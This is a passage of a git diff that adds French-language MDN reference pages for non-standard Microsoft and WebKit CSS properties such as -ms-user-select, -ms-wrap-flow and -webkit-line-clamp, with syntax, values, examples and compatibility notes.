+<p>L'exemple qui suit utilise <code>-ms-scrollbar-track-color</code>, {{cssxref("-ms-scrollbar-face-color")}} ainsi que {{cssxref("-ms-scrollbar-arrow-color")}} afin de créer deux éléments {{HTMLElement("div")}} disposants d'un thème chacun pour les barres de défilement.</p>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">div {
+  width: 150px;
+  height: 150px;
+  border-style: solid;
+  border-width: thin;
+  overflow-y: scroll;
+  font-family: sans-serif;
+  float: left;
+  margin-right: 10px;
+}
+.blueScroll {
+  -ms-scrollbar-highlight-color: aqua;
+  -ms-scrollbar-face-color: blue;
+  -ms-scrollbar-arrow-color: blue;
+  border-color: blue;
+}
+.redScroll {
+  -ms-scrollbar-highlight-color: bisque;
+  -ms-scrollbar-face-color: red;
+  -ms-scrollbar-arrow-color: red;
+  border-color: red;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div class="blueScroll"&gt;
+  Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat.
+&lt;/div&gt;
+&lt;div class="redScroll"&gt;
+  Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat.
+&lt;/div&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples")}}</p>
+
+<p>L'image suivante illustre le résultat obtenu :</p>
+
+<p><img alt="Image for -scrollbar-track-color example" src="https://mdn.mozillademos.org/files/15828/Image%20for%20example.png" style="height: 166px; width: 328px;"></p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette propriété est une propriété spécifique et ne fait partie d'aucune spécification.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.-ms-scrollbar-track-color")}}</p>
+
+<h2 id="Notes">Notes</h2>
+
+<p>Pour IE 8, la propriété <code>-ms-scrollbar-track-color</code> est une extension et peut être utilisée comme synonyme de <code>scrollbar-track-color</code> en mode standard.</p>
+
+<p>La piste est l'élément de la barre sur laquelle on déplace le curseur verticalement ou horizontalement</p>
+
+<p>Cette propriété s'applique aux éléments affichant une barre de défilement. Pour activer le défilement sur différents éléments, voir la propriété {{CSSXref("overflow")}}.</p>
diff --git a/files/fr/web/css/-ms-text-autospace/index.html b/files/fr/web/css/-ms-text-autospace/index.html
new file mode 100644
index 0000000000..972ef3bc1d
--- /dev/null
+++ b/files/fr/web/css/-ms-text-autospace/index.html
@@ -0,0 +1,59 @@
+---
+title: '-ms-text-autospace'
+slug: Web/CSS/-ms-text-autospace
+tags:
+  - CSS
+  - Non-standard
+  - Propriété
+  - Reference
+translation_of: Archive/Web/CSS/-ms-text-autospace
+---
+<div>{{CSSRef}}{{non-standard_header}}</div>
+
+<p>La propriété <strong><code>-ms-text-autospace</code></strong> est <a href="/en-US/docs/Web/CSS/Microsoft_CSS_extensions">une propriété spécifique à Microsoft</a> qui définit l'espacement automatique et la réduction d'espace lorsque le texte doit être ajusté.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<h3 id="Values" name="Values">Valeurs</h3>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>
+ <p>La valeur initiale de cette propriété. Aucun effet n'est appliqué, aucun espace supplémentaire n'est ajouté.</p>
+ </dd>
+ <dt><code>ideograph-alpha</code></dt>
+ <dd>
+ <p>Un espace supplémentaire est inséré entre le texte idéographique et le texte non-idéographique (alphabet latin, cyrillique, grec, arabe ou hébreu).</p>
+ </dd>
+ <dt><code>ideograph-numeric</code></dt>
+ <dd>
+ <p>Un espace supplémentaire est inséré entre le texte idéographique et les caractères numériques.</p>
+ </dd>
+ <dt><code>ideograph-parenthesis</code></dt>
+ <dd>
+ <p>Un espace supplémentaire est inséré entre les parenthèses (normales) et un idéographe.</p>
+ </dd>
+ <dt><code>ideograph-space</code></dt>
+ <dd>
+ <p>La largeur de l'espace est agrandie lorsque celui-ci est accolé à des idéogrammes.</p>
+ </dd>
+</dl>
+
+<h3 id="Formal_syntax" name="Formal_syntax">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="Specification" name="Specification">Spécifications</h2>
+
+<p>Cette propriété est une propriété spécifique et ne fait partie d'aucune spécification.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Notes">Notes</h2>
+
+<p>Cette propriété est disponible à partir de Windows 8.</p>
+
+<p>Cette propriété est une extension spécifique à CSS et peut être utilisée comme synonyme de <code>text-autospace</code> lorsqu'IE8 est en mode standard.</p>
+
+<p>Un idéogramme est un caractère provenant d'un système d'écriture asiatique qui représente un concept ou une idée mais qui ne correspond pas à un mot ou à une prononciation particulière.</p>
diff --git a/files/fr/web/css/-ms-touch-select/index.html b/files/fr/web/css/-ms-touch-select/index.html
new file mode 100644
index 0000000000..f59ffad593
--- /dev/null
+++ b/files/fr/web/css/-ms-touch-select/index.html
@@ -0,0 +1,49 @@
+---
+title: '-ms-touch-select'
+slug: Web/CSS/-ms-touch-select
+tags:
+  - CSS
+  - Non-standard
+  - Propriété
+  - Reference
+translation_of: Archive/Web/CSS/-ms-touch-select
+---
+<div>{{CSSRef}}{{non-standard_header}}</div>
+
+<p>La propriété <strong><code>-ms-touch-select</code></strong> est <a href="/fr/docs/Web/CSS/Extensions_CSS_Microsoft">une propriété spécifique à Microsoft</a> qui active la barre d'accroche (<em>gripper</em>) pour les éléments qui permettent de sélectionner du texte au toucher.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<h3 id="Values" name="Values">Valeurs</h3>
+
+<dl>
+ <dt><code>grippers</code></dt>
+ <dd>
+ <p>La valeur initiale pour la propriété. Les points qui forment la barre d'accroche sont toujours activé. De plus, la sélection commencera même si un gestionnaire <code>onclick</code>, <code>onmsgesturetap</code> ou <code>onmouseup</code> est activé.</p>
+ </dd>
+ <dt><code>none</code></dt>
+ <dd>
+ <p>La barre d'accroche n'est jamais affichée et les fonctionnalités de sélection tactile par défaut ne sont pas fournies.</p>
+ </dd>
+</dl>
+
+<h3 id="Formal_syntax" name="Formal_syntax">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="Specification" name="Specification">Spécifications</h2>
+
+<p>Cette propriété est une propriété spécifique et ne fait partie d'aucune spécification.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Remarks" name="Remarks">Notes</h2>
+
+<p>Cette propriété est disponible à partir de Windows 8.</p>
+
+<p>La propriété <code>-ms-touch-select</code> doit uniquement être utilisée par les applications qui fournissent leur propre mécanisme de sélection. La plupart des applications devraient plutôt utiliser la propriété {{cssxref("-ms-user-select")}}.</p>
+
+<p>Si vous choisissez de masquer la barre d'accroche, vous devrez vous assurer de fournir un mécanisme de sélection tactile. Pour réaliser cela avec JavaScript, vous pouvez voir <a href="/fr/docs/Web/API/Selection_API">les différentes API disponibles</a>.</p>
+
+<p>Cette propriété n'a aucun effet pour les interactions à la souris, au clavier ou au pavé tactile.</p>
diff --git a/files/fr/web/css/-ms-user-select/index.html b/files/fr/web/css/-ms-user-select/index.html
new file mode 100644
index 0000000000..a0483f4ac0
--- /dev/null
+++ b/files/fr/web/css/-ms-user-select/index.html
@@ -0,0 +1,107 @@
+---
+title: '-ms-user-select'
+slug: Web/CSS/-ms-user-select
+tags:
+  - CSS
+  - Non-standard
+  - Propriété
+  - Reference
+translation_of: Web/CSS/user-select
+---
+<div>{{CSSRef}}{{non-standard_header}}</div>
+
+<p>La propriété CSS <strong><code>-ms-user-select</code></strong> est <a href="/en-US/docs/Web/CSS/Microsoft_CSS_extensions">une propriété spécifique à Microsoft</a> qui indique sur quelle zone d'un élément l'utilisateur peut sélectionner le texte de l'élément.</p>
+
+<h2 id="Syntax" name="Syntax">Syntax</h2>
+
+<h3 id="Values" name="Values">Valeurs</h3>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>
+ <p>Empêche la sélection de commencer sur l'élément. Cette valeur n'empêche pas une sélection déjà initiée de continuer sur l'élément.</p>
+ </dd>
+ <dt><code>element</code></dt>
+ <dd>
+ <p>Active la sélection au sein de l'élément. Toutefois, la sélection est limitée aux bords de l'élément.</p>
+ </dd>
+ <dt><code>text</code></dt>
+ <dd>
+ <p>Active la sélection au sein de l'élément et permet de poursuivre la sélection à l'extérieur de l'élément.</p>
+ </dd>
+</dl>
+
+<h3 id="Formal_syntax" name="Formal_syntax">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="Examples" name="Examples">Exemples</h2>
+
+<p>Dans l'exemple suivant, on utilise le scénario d'un blog avec un conteneur qui est un élément {{HTMLElement("div")}} avec un identifiant <code>blog</code>. Ce conteneur contient un autre élément <code>&lt;div&gt;</code> avec l'identifiant <code>blogPost</code> pour le billet de la page. La classe <code>comment</code> est appliquée aux éléments <code>&lt;div&gt;</code> qui sont des commentaires. Le billet de blog contient un élément {{HTMLElement("input")}} et un élément {{HTMLElement("textarea")}} pour ajouter un commentaire.</p>
+
+<p>La déclaration suivante désactive la sélection à l'exception du contenu éditable.</p>
+
+<pre class="brush: css">#blog {
+  -ms-user-select: none;
+  -webkit-user-select: none;
+  -moz-user-select: -moz-none;
+}
+</pre>
+
+<p>La déclaration suivante désactive la sélection pour le reste :</p>
+
+<pre class="brush: css">#blog, #blog input, #blog textarea,
+#blog *[contenteditable=true] {
+  -ms-user-select: none;
+  -webkit-user-select: none;
+  -moz-user-select: -moz-none;
+}
+</pre>
+
+<p>La déclaration suivante permet aux utilisateurs de ne sélectionner que le contenu du billet.</p>
+
+<pre class="brush: css">#blogPost {
+  -ms-user-select: element;
+  -webkit-user-select:  text;
+  -moz-user-select: text;
+}
+
+#blog {
+  -ms-user-select: none;
+  -webkit-user-select: none;
+  -moz-user-select: -moz-none;
+}
+</pre>
+
+<p>La déclaration suivante permet aux utilisateurs de ne sélectionner que les commentaires.</p>
+
+<pre class="brush: css">.comment {
+  -ms-user-select: element;
+  -moz-user-select: text;
+  -webkit-user-select: text;
+}
+
+#blog{
+  -ms-user-select: none;
+  -moz-user-select: -moz-none;
+  -webkit-user-select: none;
+}
+</pre>
+
+<p>Le code suivan permet de commencer la sélection sur le billet ou sur l'un des commentaires et de poursuivre sur la suite.</p>
+
+<pre class="brush: css">#blogPost, .comment {
+  -ms-user-select: text;
+}
+
+#blog {
+  -ms-user-select: none;
+}
+</pre>
+
+<h2 id="Specifications" name="Specifications">Spécifications</h2>
+
+<p>Cette propriété est une propriété non-standard qui ne fait partie d'aucune spécification.</p>
+
+<p>{{cssinfo}}</p>
diff --git a/files/fr/web/css/-ms-wrap-flow/index.html b/files/fr/web/css/-ms-wrap-flow/index.html
new file mode 100644
index 0000000000..54c93a3ae6
--- /dev/null
+++ b/files/fr/web/css/-ms-wrap-flow/index.html
@@ -0,0 +1,63 @@
+---
+title: '-ms-wrap-flow'
+slug: Web/CSS/-ms-wrap-flow
+tags:
+  - CSS
+  - Non-standard
+  - Propriété
+  - Reference
+translation_of: Archive/Web/CSS/-ms-wrap-flow
+---
+<div>{{CSSRef}}{{non-standard_header}}</div>
+
+<p>La propriété CSS <strong><code>-ms-wrap-flow</code></strong> est <a href="/en-US/docs/Web/CSS/Microsoft_CSS_extensions">une propriété spécifique à Microsoft</a> qui indique comment les exclusions jouent sur le contenu en ligne (<em>inline</em>) au sein des éléments de bloc.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<h3 id="Values" name="Values">Valeurs</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>
+ <p>Une exclusion est créée pour les éléments flottants. Pour les éléments non-flottants, aucune exclusion n'est créée.</p>
+ </dd>
+ <dt><code>both</code></dt>
+ <dd>
+ <p>Le contenu en ligne peut s'écouler sur chaque côté de l'exclusion.</p>
+ </dd>
+ <dt><code>start</code></dt>
+ <dd>
+ <p>Le contenu en ligne peut passer à la ligne au début de la zone d'exclusion mais ne peut occuper la partie située après la zone d'exclusion.</p>
+ </dd>
+ <dt><code>end</code></dt>
+ <dd>
+ <p>Le contenu en ligne peut passer à la ligne après la zone d'exclusion mais ne peut occuper la partie située avant la zone d'exclusion.</p>
+ </dd>
+ <dt><code>maximum</code></dt>
+ <dd>
+ <p>Le contenu en ligne peut passer à ligne sur le côté de l'exclusion qui dispose de l'espace le plus grand pour cette ligne (l'autre côté est alors laissé vide).</p>
+ </dd>
+ <dt><code>clear</code></dt>
+ <dd>
+ <p>Le contenu en ligne peut uniquement passer à la ligne au dessus et en dessous de l'exclusion, les zones avant le début et après la fin de l'exclusion sont laissées vide.</p>
+ </dd>
+</dl>
+
+<h3 id="Formal_syntax" name="Formal_syntax">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="Specifications" name="Specifications">Spécifications</h2>
+
+<p>Cette propriété n'est pas une propriété standard et ne fait partie d'aucune spécification.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Remarks" name="Remarks">Notes</h2>
+
+<p>La propriété <code>-ms-wrap-flow</code> transforme un élément en exclusion lorsque sa valeur calculée est différente de <code>auto</code>. Cette propriété définit le comportement du contenu en ligne autour de cet élément d'exclusion (de façon similaire aux éléments flottants).</p>
+
+<p>Lorsque <code>-ms-wrap-flow</code> a une valeur calculée différente de <code>auto</code>, l'élément ne devient pas un élément d'exclusion, sauf si la valeur calculée de la propriété <code>float</code> n'est pas <code>none</code>. Dans ce cas, l'élément fournit sa bordure au contexte du bloc englobant et le flux du contenu s'adapte selon la propriété {{cssxref("clear")}}.</p>
+
+<p>Pour plus d'informations sur l'impact d'un élément d'exclusion quant au flux du contenu, voir la section <a href="https://drafts.csswg.org/css-exclusions-1/#terms">Terminologie</a> de la spécification de niveau 1 pour les exclusions CSS.</p>
diff --git a/files/fr/web/css/-ms-wrap-margin/index.html b/files/fr/web/css/-ms-wrap-margin/index.html
new file mode 100644
index 0000000000..164c64b9f2
--- /dev/null
+++ b/files/fr/web/css/-ms-wrap-margin/index.html
@@ -0,0 +1,39 @@
+---
+title: '-ms-wrap-margin'
+slug: Web/CSS/-ms-wrap-margin
+tags:
+  - CSS
+  - Non-standard
+  - Propriété
+  - Reference
+translation_of: Archive/Web/CSS/-ms-wrap-margin
+---
+<div>{{CSSRef}}{{non-standard_header}}</div>
+
+<p>La propriété <strong><code>-ms-wrap-margin</code></strong> est <a href="/en-US/docs/Web/CSS/Microsoft_CSS_extensions">une propriété spécifique à Microsoft</a> qui définit une marge qui décale le retour à la ligne par rapport aux autres formes.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<h3 id="Values" name="Values">Valeurs</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;length&gt;")}}</dt>
+ <dd>
+ <p>La taille de la marge avec une valeur non-négative.</p>
+ </dd>
+</dl>
+
+<h3 id="Formal_syntax" name="Formal_syntax">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="Specifications" name="Specifications">Spécifications</h2>
+
+<p>Cette propriété est une propriété spécifique et ne fait partie d'aucune spécification.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Remarks" name="Remarks">Notes</h2>
+
+<p>Les décalages créés par la propriété <code>-ms-wrap-margin</code> sont décalés en en dehors de l'exclusion. Cette propriété peut être utilisée avec n'importe quelle valeur de longueur.</p>
diff --git a/files/fr/web/css/-ms-wrap-through/index.html b/files/fr/web/css/-ms-wrap-through/index.html
new file mode 100644
index 0000000000..d817d34bbb
--- /dev/null
+++ b/files/fr/web/css/-ms-wrap-through/index.html
@@ -0,0 +1,45 @@
+---
+title: '-ms-wrap-through'
+slug: Web/CSS/-ms-wrap-through
+tags:
+  - CSS
+  - Non-standard
+  - Propriété
+  - Reference
+translation_of: Archive/Web/CSS/-ms-wrap-through
+---
+<div>{{CSSRef}}{{non-standard_header}}</div>
+
+<p>La propriété CSS <strong><code>-ms-wrap-through</code></strong> est <a href="/fr/docs/Web/CSS/Extensions_CSS_Microsoft">une propriété spécifique à Microsoft</a> qui indique comment le contenu devrait s'écouler autour d'un élément d'exclusion.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<h3 id="Values" name="Values">Valeurs</h3>
+
+<dl>
+ <dt><code>wrap</code></dt>
+ <dd>
+ <p>L'élément d'exclusion hérite de la configuration de l'élément parent. Les éléments en ligne descendants s'écoulent autour des éléments d'exclusion définis en dehors de l'élément.</p>
+ </dd>
+ <dt><code>none</code></dt>
+ <dd>
+ <p>L'élément d'exclusion n'hérite pas de la configuration de l'élément parent. Les éléments descendants s'écoulent uniquement autour des éléments d'exclusion définis à l'intérieur de l'élément.</p>
+ </dd>
+</dl>
+
+<h3 id="Formal_syntax" name="Formal_syntax">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="Specifications" name="Specifications">Spécifications</h2>
+
+<p>Cette propriété est une propriété spécifique et ne fait partie d'aucune spécification.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Remarks" name="Remarks">Notes</h2>
+
+<p>La propriété <code>-ms-wrap-through</code> peut être utilisée afin de contrôler l'effet des exclusions. On peut notamment avoir un contenu de bloc qui s'écoule autour d'un élément d'exclusion et un autre contenu de bloc de créer une intersection avec ce même élément d'exclusion.</p>
+
+<p>Le contour d'exclusion d'une boîte est formé par l'ensemble des zones d'exclusion associées à l'élément. Pour plus d'informations, voir la section <a href="https://drafts.csswg.org/css-exclusions-1/#terms">Terminologie</a> de la spécification de niveau 1 pour le module CSS Exclusions.</p>
diff --git a/files/fr/web/css/-webkit-border-before/index.html b/files/fr/web/css/-webkit-border-before/index.html
new file mode 100644
index 0000000000..9c99fe83cd
--- /dev/null
+++ b/files/fr/web/css/-webkit-border-before/index.html
@@ -0,0 +1,108 @@
+---
+title: '-webkit-border-before'
+slug: Web/CSS/-webkit-border-before
+tags:
+  - CSS
+  - Non-standard
+  - Propriété
+  - Reference
+translation_of: Web/CSS/-webkit-border-before
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p>La propriété <strong><code>-webkit-border-before</code></strong> est une propriété raccourcie qui permet de définir les propriétés de la bordure pour le début d'un élément dans l'axe de bloc (l'axe logique orthogonal à l'axe de lecture).</p>
+
+<pre class="brush:css no-line-numbers">/* Valeurs décrivant une bordure */
+-webkit-border-before: 1px;
+-webkit-border-before: 2px dotted;
+-webkit-border-before: medium dashed blue;
+
+/* Valeurs globales */
+-webkit-border-before: inherit;
+-webkit-border-before: initial;
+-webkit-border-before: unset;
+</pre>
+
+<p><code>-webkit-border-before</code> peut ainsi être utilisée pour définir les valeurs d'une ou plusieurs de ces propriétés : {{cssxref("-webkit-border-before-width")}}, {{cssxref("-webkit-border-before-style")}}, et {{cssxref("-webkit-border-before-color")}}. Cette propriété est une propriété logique qui correspond à une propriété physique selon le mode d'écriture, la direction et l'orientation du texte. Autrement dit, cette propriété correspond à {{cssxref("border-top")}}, {{cssxref("border-right")}}, {{cssxref("border-bottom")}}ou {{cssxref("border-left")}} selon les valeurs définies pour {{cssxref("writing-mode")}}, {{cssxref("direction")}} et {{cssxref("text-orientation")}}.</p>
+
+<p>Cette propriété est à mettre en relation avec les propriétés {{cssxref("-webkit-border-after")}}, {{cssxref("-webkit-border-start")}}, et {{cssxref("-webkit-border-end")}} qui définissent les autres bordures de l'élément.</p>
+
+<p>L'équivalent standard de cette propriété est la propriété non-préfixée {{cssxref("border-block-start")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<p>Une ou plusieurs valeurs parmi les suivantes, dans n'importe quel ordre :</p>
+
+<dl>
+ <dt><code>&lt;border-width&gt;</code></dt>
+ <dd>Voir {{cssxref("border-width")}}.</dd>
+ <dt><code>&lt;border-style&gt;</code></dt>
+ <dd>Voir {{cssxref("border-style")}}.</dd>
+ <dt><code>&lt;color&gt;</code></dt>
+ <dd>Voir {{cssxref("color")}}.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">div {
+  background-color: yellow;
+  width: 120px;
+  height: 120px;
+}
+
+.texteExemple {
+  writing-mode: vertical-rl;
+  -webkit-border-before: 5px dashed blue;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p class="texteExemple"&gt;Texte pour l'exemple&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", 140, 140)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette propriété est une propriété propriétaire liée à WebKit/Blink et ne fait partie d'aucune spécification. Toutefois, on peut la rapprocher de la propriété standard {{cssxref("border-block-start")}}.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.-webkit-border-before")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("border-block-start")}}</li>
+ <li>Les propriétés physiques correspondantes :
+  <ul>
+   <li>{{cssxref("border-top")}}</li>
+   <li>{{cssxref("border-right")}}</li>
+   <li>{{cssxref("border-bottom")}}</li>
+   <li>{{cssxref("border-left")}}</li>
+  </ul>
+ </li>
+ <li>Les propriétés qui déterminent les propriétés logiques par rapport aux propriétés physiques
+  <ul>
+   <li>{{cssxref("writing-mode")}}</li>
+   <li>{{cssxref("direction")}}</li>
+   <li>{{cssxref("text-orientation")}}</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/fr/web/css/-webkit-box-reflect/index.html b/files/fr/web/css/-webkit-box-reflect/index.html
new file mode 100644
index 0000000000..63a8855074
--- /dev/null
+++ b/files/fr/web/css/-webkit-box-reflect/index.html
@@ -0,0 +1,70 @@
+---
+title: '-webkit-box-reflect'
+slug: Web/CSS/-webkit-box-reflect
+tags:
+  - CSS
+  - Non-standard
+  - Propriété
+  - Reference
+translation_of: Web/CSS/-webkit-box-reflect
+---
+<div>{{Non-standard_header}}{{CSSRef}}</div>
+
+<p>La propriété <strong><code>-webkit-box-reflect</code></strong> peut être utilisée afin de créer un effet de réflexion d'un élément dans une direction donnée.</p>
+
+<pre class="brush:css no-line-numbers">/* Valeurs de directions */
+-webkit-box-reflect: above;
+-webkit-box-reflect: below;
+-webkit-box-reflect: left;
+-webkit-box-reflect: right;
+
+/* Valeurs incluant un décalage */
+-webkit-box-reflect: below 10px;
+
+/* Valeur de masque */
+-webkit-box-reflect: below 0 linear-gradient(transparent, white);
+
+/* Valeurs globales */
+-webkit-box-reflect: inherit;
+-webkit-box-reflect: initial;
+-webkit-box-reflect: unset;
+</pre>
+
+<div class="warning"><strong>Attention !</strong> Cette fonctionnalité ne doit pas être utilisée sur le Web. Pour créer des effets de reflet sur le Web, on pourra utiliser la fonction CSS standard {{cssxref("element", "element()")}}.</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>above</code><em>, </em><code>below</code><em>, </em><code>right</code><em>, </em><code>left</code></dt>
+ <dd>Des mots-clés qui indiquent la direction dans laquelle créer la réflexion (respectivement : au-dessus, en-dessous, à droite, à gauche).</dd>
+ <dt><code>&lt;length&gt;</code></dt>
+ <dd>La taille du reflet créé, cf. {{cssxref("&lt;length&gt;")}} sur les valeurs possibles.</dd>
+ <dt><code>&lt;image&gt;</code></dt>
+ <dd>Le masque à appliquer au reflet, cf. {{cssxref("&lt;image&gt;")}} sur les valeurs possibles.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette propriété n'est pas en voie de standardisation et ne fera pas partie de CSS. Pour créer des reflets en CSS, on pourra utiliser la fonction standard {{cssxref("element", "element()")}}.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.-webkit-box-reflect")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a class="external" href="https://developer.apple.com/library/safari/documentation/appleapplications/reference/safaricssref/Articles/StandardCSSProperties.html#//apple_ref/doc/uid/TP30001266-SW16">La documentation Apple</a></li>
+ <li><a href="https://www.webkit.org/blog/182/css-reflections/">La spécification WebKit</a></li>
+ <li>L'article de Lea Verou sur les réflexions CSS <a class="external" href="https://lea.verou.me/2011/06/css-reflections-for-firefox-with-moz-element-and-svg-masks/">en utilisant les fonctionnalités en voie de standardisation</a></li>
+</ul>
diff --git a/files/fr/web/css/-webkit-line-clamp/index.html b/files/fr/web/css/-webkit-line-clamp/index.html
new file mode 100644
index 0000000000..bf848f41a5
--- /dev/null
+++ b/files/fr/web/css/-webkit-line-clamp/index.html
@@ -0,0 +1,101 @@
+---
+title: '-webkit-line-clamp'
+slug: Web/CSS/-webkit-line-clamp
+tags:
+  - CSS
+  - Propriété
+translation_of: Web/CSS/-webkit-line-clamp
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété CSS <strong><code>-webkit-line-clamp</code></strong> permet de limiter l'affichage du contenu d'un bloc à un nombre donné de lignes.</p>
+
+<p>Cette propriété fonctionne uniquement si {{cssxref("display")}} vaut <code>-webkit-box</code> ou <code>-webkit-inline-box</code> et si {{cssxref("-webkit-box-orient")}} vaut <code>vertical</code>.</p>
+
+<p>Dans la plupart des cas, on utilisera également {{cssxref("overflow")}} avec la valeur <code>hidden</code>, afin de masquer le contenu qui dépasse (plutôt que d'afficher une ellipse en dehors de la boîte).</p>
+
+<p>Lorsqu'on applique ce style à une ancre, la troncature pourra intervenir au milieu du texte (et pas nécessairement à la fin).</p>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> Au départ, cette propriété était implémentée dans WebKit avec quelques problèmes. Elle a été standardisée à des fins de support pour les sites historiques. Le module de spécification <a href="https://www.w3.org/TR/css-overflow-3/#propdef--webkit-line-clamp">CSS Overflow Module Level 3</a> définit également une propriété {{cssxref("line-clamp")}} qui doit remplacer <code>-webkit-line-clamp</code>.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css">/* Valeurs avec un mot-clé */
+-webkit-line-clamp: none;
+
+/* Valeurs entières */
+/* Type &lt;integer&gt; */
+-webkit-line-clamp: 3;
+-webkit-line-clamp: 10;
+
+/* Valeurs globales */
+-webkit-line-clamp: inherit;
+-webkit-line-clamp: initial;
+-webkit-line-clamp: unset;
+</pre>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>Cette valeur indique que le contenu ne sera pas rogné.</dd>
+ <dt>{{cssxref("integer")}}</dt>
+ <dd>Cette valeur indique le nombre de lignes après lequel tronquer le contenu. Cette valeur doit être supérieure à 0.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;
+  Dans cet exemple &lt;code&gt;-webkit-line-clamp&lt;/code&gt; vaut &lt;code&gt;3&lt;/code&gt;, ce qui signifie que le texte sera rogné après trois lignes.
+  Une ellipse sera affichée au n ellipsis will be shown at the point where the text is clamped.
+&lt;/p&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">p {
+  width: 300px;
+  display: -webkit-box;
+  -webkit-box-orient: vertical;
+  -webkit-line-clamp: 3;
+  overflow: hidden;
+}</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", "100%", "100")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Overflow", "#propdef--webkit-line-clamp", "-webkit-line-clamp")}}</td>
+   <td>{{Spec2("CSS3 Overflow")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
